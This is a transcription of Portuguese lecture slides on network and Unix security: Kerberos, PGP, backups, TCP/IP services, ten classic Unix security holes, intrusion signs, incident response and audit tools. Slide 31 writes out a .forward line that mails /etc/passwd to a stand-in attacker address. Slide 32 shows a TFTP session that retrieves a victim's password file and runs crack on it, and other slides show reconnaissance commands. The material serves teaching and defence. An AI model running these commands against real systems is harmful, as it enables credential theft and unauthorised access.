Mecanismos de Defesa. Criptografia. Aplicações Kerberos - situação após login

Transcrição

1 Mecanismos de Defesa Criptografia Aplicações Kerberos - situação após login cliente possui TCT e chave de sessão TCT criptografado com senha conhecida por AS e ST. Ninguém altera TCT TCT contém : ID do usuário e do servidor de aplicação tempo de vida (8horas) para o TCT cópia da chave de sessão o TCT usado para obter tickets de serviço evita pedir senha ao usuário com frequência

2 Mecanismos de Defesa Criptografia Aplicações Kerberos - como obter um ticket de serviço cliente envia pedido de ticket para o ST, enviando TCT ST decriptografa TCT e verifica tempo de vida, user ID e endereço (devem bater com TCT) para evitar roubo do TCT quando passa na rede (durante o tempo de vida), cliente envia autenticador criptografado com a chave de sessão (que só ele e o ST possuem) com curtissimo tempo de vida

3 Mecanismos de Defesa Criptografia Aplicações Kerberos - como obter o serviço ST envia um ticket de serviço e nova chave de sessão para o cliente a mensagem criptografada com chave de sessão antiga (só o cliente pode pegar) novo ticket criptogrado com chave conhecida pelo ST e pelo servidor de aplicação esse ticket pode ser reusado novo ticket + autenticador enviados para o servidor de aplicação criptogrado com a nova chave de sessão

4 Mecanismos de Defesa Criptografia Aplicações correio eletrônico seguro Efetivamente existem dois sistemas de correio seguro em funcionamento PEM (Privacy Enhanced Mail) desenvolvido pela comunidade Internet e documentado nos RFCs 1421 a 1424 PGP (pretty Good Privacy) desenvolvido por Phil Zimmerman (guerilla freeware) Ambos utilizam chaves públicas (RSA) para autenticar remetentes, embora implementam seu suporte de maneiras diferentes

5 Mecanismos de Defesa Criptografia Aplicações - correio eletrônico seguro PGP (Pretty Good Privacy) funções básicas cifrar dados decifrar dados gerar assinatura digital para envio de dados verificar autenticidade de assinatura digital no recebimento

6 Mecanismos de Defesa Criptografia Aplicações - correio eletrônico seguro PGP (Pretty Good Privacy) ceriticação de chaves/assinatura digital estrutura não-hierárquica - uso um grafo arbitrário de confiança usuários recebem listas de chaves de outros usuários, e os guarda em chaveiros, indicando o grau de confiança no fiador usa o algoritmo RSA com chave pública assinatura é a criptografia de um hash code da mensagem (128 bits) hash code gerado usando MD5

7 Mecanismos de Defesa Criptografia Aplicações - correio eletrônico seguro PGP (Pretty Good Privacy) uso de criptografia IDEA usado para cifrar corpos de mensagens RSA usado para cifrar chaves e certificados MD5 usado para hash mensagens antes de assinatura

8 Mecanismos de Defesa Criptografia Aplicações - correio eletrônico seguro PGP (Pretty Good Privacy) sequência normal cria-se um par de chaves: uma secreta e uma pública distribui-se a chave pública gera mensagem original cifragem com chave secreta somente do sumário matemático do texto plano assina (MD5/RSA) comprime resultado (mensagem + assinatura) criptografa com IDEA e chave simétrica criptografa chave simétrica com RSA envia mensagem assinada e criptografada com a chave simétrica

9 Mecanismos de Defesa Criptografia Aplicações - correio eletrônico seguro PGP (Pretty Good Privacy) sequência normal criptografa chave simétrica com RSA envia mensagem assinada e criptografada com a chave simétrica criptografada se a decifragem do sumário matemático comparada com o texto plano e a comparação de assinaturas não certificar a mensagem, ou a mensagem não provém do dono da chave pública, ou foi alterada, ou foi forjada

10 Segurança de Sistemas Backups Bugs, acidentes, desastres naturais e ataques podem ocorrer aos sistemas e muitas vezes não podem ser evitados, apesar dos esforços. No entanto, se você possui cópias, você pode comparar a versão atual do sistema com a cópia e então recuperar o sistema para um estado estável

11 Segurança de Sistemas Backups Tipos Cópia inicial -->> na intalação do sistema, antes que as pessoas comecem a usá-lo, é feita uma cópia de todos os arquivos e programas. Cópia completa -->> copia tudo para o dispositivo de backup, de forma regular Cópia complementar -->> copia apenas aqueles itens que foram modificados para o dispositivo de backup

12 Segurança de Sistemas Backups Fatores que determinam a estratégia : capacidade de memória disponível no sistema tipo de dispositivo de backup utilizado importância dos dados qanto tempo e dinheiro estão disponíveis para conduzir o backup frequência de uso esperado dos arquivos de backup Ferramentas para realizar backups cópias simples locais (cp, dd), cópias de arquivos (tar), programas especializados (dump/restore), cópias pela rede (rdump/rrestore, rcp, ftp, rdist)

13 Fundamentos do TCP/IP O termo TCP/IP refere-se: a um conjunto de protocolos de comunicação de dados ao nome dos dois protocolos mais importantes desse conjunto de protocolos: Transmission Control Protocol (TCP) Internet Protocol (IP) Características do TCP/IP padrões abertos, implementado por várias arquiteturas de hardware (plataformas) e software (sistemas operacionais)

14 Fundamentos do TCP/IP Características do TCP/IP independência de hardware específico de rede (ethernet, token-ring, dial-up line, X.25 etc) esquema de endereçamento robusto e flexível protocolos de alto nível padronizados para os serviços do usuário (ftp, telnet etc)

15 Processo usuário Processo usuário Camadas OSI 5-7 TCP UDP Camada OSI 4 ICMP IP ARP RARP Camada OSI 3 Interface de Hardware Camadas OSI 1-2

16 Serviços TCP/IP processos clientes X processos servidores existem dois tipos de processos servidores (daemons) : aqueles que estão sempre rodando aqueles que rodam somente quando solicitados clientes são criados assincronamente conexões são identificadas por : IP de origem, porta de origem, IP de destino, porta de destino portas de origem são alocadas dinamicamente alguns serviços possuem portas bem conhecidas (well known ports)

17 Serviços TCP/IP serviços básicos systat (porta TCP 11) -->> fornece informações de status de um host para outros hosts na rede (recomendável desabilitá-lo) FTP (portas TCP 20 e 21) -->> possibilita transferência completa de arquivos entre sistemas (recomendável o uso alternativo de protocolos de autenticação) TELNET (porta TCP 23) -->> possibilita o acesso a computadores remotos na rede (recomendável o uso de criptografia e senhas de uso único)

18 Serviços TCP/IP serviços básicos SMTP (correio eletrônico - porta TCP 25) -->> permite a transferência de mensagens entre computadores (recomendável o uso da versão 8 e posteriores do programa sendmail) TACACS (porta UDP 49) -->> usado para autenticar logins em servidores de terminais (senhas não estão criptografadas e estão portanto sujeitas a sniffing ) DNS (portas TCP e UDP 53) -->> base de dados distribuída que permite mapear endereços IP em nomes de máquinas e vice-versa (recomendável rodar o servidor de nomes em máquina especial sem usuários comuns)

19 Serviços TCP/IP serviços básicos TFTP (porta UDP 69) -->> possibilita transferência de arquivo baseada no protocolo UDP e não oferece segurança (não é recomendável a habilitação do serviço) finger (porta TCP 79) -->> permite obter informação detalhada (nome completo, localização, tempo de login, telefone etc) sobre usuários de um sistema (revela informações que podem ser usadas em ataques do tipo engenharia social)

20 Serviços TCP/IP serviços básicos HTTP (porta TCP 80) -->> usado para solicitar e receber documentos de servidores WWW (recomendável a instalação/configuração de servidores seguros) POP (portas TCP 109 e 110) -->> permite aos usuários a recuperação de correio eletrônico. (recomendável o uso de versões cujos cliente e servidor POP sejam suportados por sistemas de autenticação)

21 Serviços TCP/IP serviços básicos X window System (portas TCP ) -->> sistema de janelas baseado em rede que permite que diferentes máquinas possam ter como saída um único display. Cada device gráfico é controlado por um XWindows server. Xterm é um cliente xhosts controla o acesso ao display xhost só impede futuras conexões, não interferindo nas que já estão ativas. Possibilidade de monitorar o mouse e teclado.

22 Serviços TCP/IP serviços básicos RIP (Routing Internet Protocol) (porta UDP 520) -->> implementa protocolo de roteamento, distribuindo informações sobre novas redes e roteadores PROBLEMA: Propagação de pacotes RIP (Routing Information Protocol) falsos. Implicação: Hosts e roteadores geralmente acreditam neles. Se a máquina atacante está próximo do alvo é fácil subverter o tráfego.

23 Serviços TCP/IP serviços básicos RIP (Routing Internet Protocol) (porta UDP 520) Intruso A Y RIP X B Intruso propagando tabelas de roteamento para subverter o tráfego

24 Serviços TCP/IP serviços básicos RIP (Routing Internet Protocol) (porta UDP 520) Intruso A Y X B Intruso, após subverter o tráfego

25 Principais vulnerabilidades Furos de segurança na internet a workstation local é o ponto de entrada do penetra (hacker, cracker, attacker) a segurança local é ponto chave para a segurnaça mais global exemplos que seguem são baseados em workstations UNIX por serem mais comuns na Internet

26 Principais vulnerabilidades Furos de segurança na internet Furo 1 : conta root cuidado com a conta root só use em caso de necessidade cuidado com a senha do root mudanças frequentes cadastre terminais seguros para fazer login como root

27 Principais vulnerabilidades Furos de segurança na internet Furo 2 : outras contas náo permitir contas sem senhas treinar usuários em escolher senhas limitar tempo de vida das contas habilitar verificação de senhas seguras e envelhecimento de senhas usar shadow passwords tentar quebrar senhas

28 Principais vulnerabilidades Furos de segurança na internet Furo 3 : finger se tiver pouca gente no ar, é hora de entrar!!! Com outras chamadas a finger, pode descobrir : nomes de login, diretórios HOME, shell, último login, último host de login tudo isso é informação valiosa para o hacker!!!

29 Principais vulnerabilidades Furos de segurança na internet Furo 4 : trusted hosts /etc/hosts.equiv e ~/.rhosts são perigosos!! Permitem fazer rsh, rlogin,..., sem senha trusted hosts devem realmente sê-lo?? Você deve conhecer quem administra essas máquinas e confiar nessas pessoas e na política de segurança controle os ~/.rhosts com cuidado!

30 Principais vulnerabilidades Furos de segurança na internet Furo 5 : showmount showmount -e vitima.com.br mostra sistemas de arquivos exportados se descobrir um diretório de login de alguém abaixo de um sistema exportado para todos, pode criar um ~/.rhosts nesse diretório e fazer login remoto com facilidade se um sistema exportado contiver /usr ou /usr/local/bin, pode instalar cavalos de tróia

31 Principais vulnerabilidades Furos de segurança na internet Furo 6 : anonymous FTP ~ftp/etc/passwd frequentemente contém o arquivo completo de senhas. Pode examinar à vontade se diretório ~ftp permitir gravação, coloque a seguinte linha em ~ftp/.forward : /bin/mail hacker@mal.com.br </etc/passwd e envie um mail qualquer para ftp@vitima.com.br

32 Principais vulnerabilidades Furos de segurança na internet Furo 7 : TFTP não requer identificação ou senha permite transferir qualquer arquivo NÃO USE, a não ser que : tenha opção segura (restringe a um diretório) o ataque %tftp tftp> connect vitima.com.br tftp> get /etc/passwd /tmp/f/passwd tftp> quit %crack < /tmp/f/passwd > /tmp/f/pass.facil

33 Principais vulnerabilidades Furos de segurança na internet Furo 8 : rpcinfo pode ser usado para descobrir muita informação valiosa rpcinfo -p vitima.com.br se NIS está rodando se NIS é mestre ou escravo se tem estações diskless (para obter domínios NIS com o comando bootparam) se tem NFS rodando se tem rusersd, rstatd, rexd(rsh sem senha!)

34 Principais vulnerabilidades Furos de segurança na internet Furo 9 : NIS sabendo o nome do domínio NIS, pode pegar todos os mapas do servidor NIS, incluindo : senhas mail aliases é difícil proteger NIS porque tem pouca autenticação não use, se possível

35 Principais vulnerabilidades Furos de segurança na internet Furo 9 : NIS Enganando o NIS server NIS RPC Request NIS Cliente Falso Reply RPC Reply Server Intruso

36 Principais vulnerabilidades Furos de segurança na internet Furo 10 : X-Window se não protegido, pode ser usado para ver telas dos outros computadores capturar teclado de outros computadores

37 Principais vulnerabilidades Como Reconhecer uma Invasão Observe sintomas suspeitos, como: Crash do sistema Contas novas ou antigas com atividade não usual Novos arquivos com nomes estranhos (..^d,... ), geralmente em /tmp Alteração no tamanho de arquivos

38 Principais vulnerabilidades Como Reconhecer uma Invasão Sintomas de alteração nos Logs do sistema (lastlog) Tentativa de escrita em arquivos/diretórios proibidos Access denied sem motivo aparente Performance inexplicavelmente baixa

39 Principais vulnerabilidades Como Reconhecer uma Invasão Tentativas de acesso não sucedidas Logins freqüentes em horário não costumeiro Alteração nas datas dos arquivos de configuração do sistema. Logins sucedidos a partir de locais desconhecidos

40 Principais vulnerabilidades Reagindo em Emergências Quando ocorre algum problema de segurança, há algumas medidas padrões a serem tomadas: Identifique e entenda o problema Contenha ou pare os danos Confirme suas suspeitas e determine os estragos

41 Principais vulnerabilidades Reagindo em Emergências Restaure seu sistema Trate da causa dos problemas Faça um relatório da ocorrência. Controle os boatos, dê esclarecimentos se necessário. Isto é especialmente importante, pois geralmente os rumores vão prejudicar mais que o próprio problema.

42 Principais vulnerabilidades Reagindo em Emergências Computer Emergency Response Team Coordination Center - CERT-CC Criado inicialmente pela DARPA (Defense Advanced Research Projects Agency) para tratar incidentes como o do verme de O CERT monitora segurança de computadores e atividades de quebras de sistemas, alertando os usuários tml ftp://info.cert.org cert@cert.org.

43 Principais vulnerabilidades Reagindo em Emergências Forum of Incident and Response Security Teams - FIRST Reunião de diferentes grupos de resposta a incidentes (inclusive o CERT-CC) Realiza workshop anual first-sec@first.org.

44 Principais vulnerabilidades Reagindo em Emergências Centro de Atendimento a Incidentes de Segurança - CAIS lançamento oficial - Dezembro de missão institucional promover a cultura e disseminação do conhecimento na área de segurança em redes diminuir o número de incidentes de segurança que podem afetar diretamente o backbone da RNP diminuir a magnitude dos danos causados por tais incidentes

45 Ferramentas para verificação de segurança Monitoramento TCPDUMP Disponível para monitoração do tráfego da rede ftp://ftp.ee.lbl.gov/tcpdump2.2.1.tar.z TRACEROUTE Determina o caminho para um determinado destino ftp://ftp.ee.lbl.gov/traceroute.tar.z SNMP Muitas informações podem ser obtidas através dele, especialmente de roteadores Várias implementações disponíveis: CMU-SNMP ftp:/ftp.net.cmu.edu/pub/snmp-dist Scotty/Tkined (TU Braunschweig)

46 Ferramentas para verificação de segurança Auditoria COPS (Computer Oracle and Password System) Procura por erros de configurações no sistema Unix, inclusive o NOS (Network Operating System). Verifica modos/permissões de arquivos Fragilidade de Passwords Consistência do /etc/passwd (entradas duplicadas) Verifica.rhosts,.profile,.cshrc,.forward, e outros nos diretórios home dos usuários

47 Ferramentas para verificação de segurança Auditoria COPS (Computer Oracle and Password System) Verifica arquivos com SUID de root setados CRC de arquivos binários importantes Configuração do anonymous Ftp Restrições ao Tftp, decode alias no sendmail, inetd.conf Outras checagens ( + no hosts.equiv, mount filesystems) Datas de arquivos binários ftp://ftp.cert.org/pub/tools/cops

48 Ferramentas para verificação de segurança Auditoria CRACK Usado para testar as passwords dos usuários Testa vários dicionários, inclusive os que você fornecer Escolhe passwords a serem testadas a partir do /etc/passwd,.plan e.project. Possui arquivos de configurações permitindo testar várias mutações sobre os dicionários fornecidos. ftp://ftp.cert.org/pub/tools/crack ftp://black.ox.ac.uk/wordlists TAMU tiger Conjunto de scripts que procuram por vulnerabilidades em sistemas Unix. Similar ao TRIPWIRE. ftp://net.tamu.edu/pub/security/tamu

49 Ferramentas para verificação de segurança Auditoria TRIPWIRE É um monitor de integridade para sistemas Unix Usa diversas rotinas de chksum/ message-digest/ secure-hash/ signature, visando detectar alterações nos arquivos, bem como monitorar informações mantidas pelo sistema A configuração do Tripwire permite especificar arquivos e diretórios a serem monitorados ou não e a especificar arquivos onde alterações limitadas são permitidas sem gerar alerta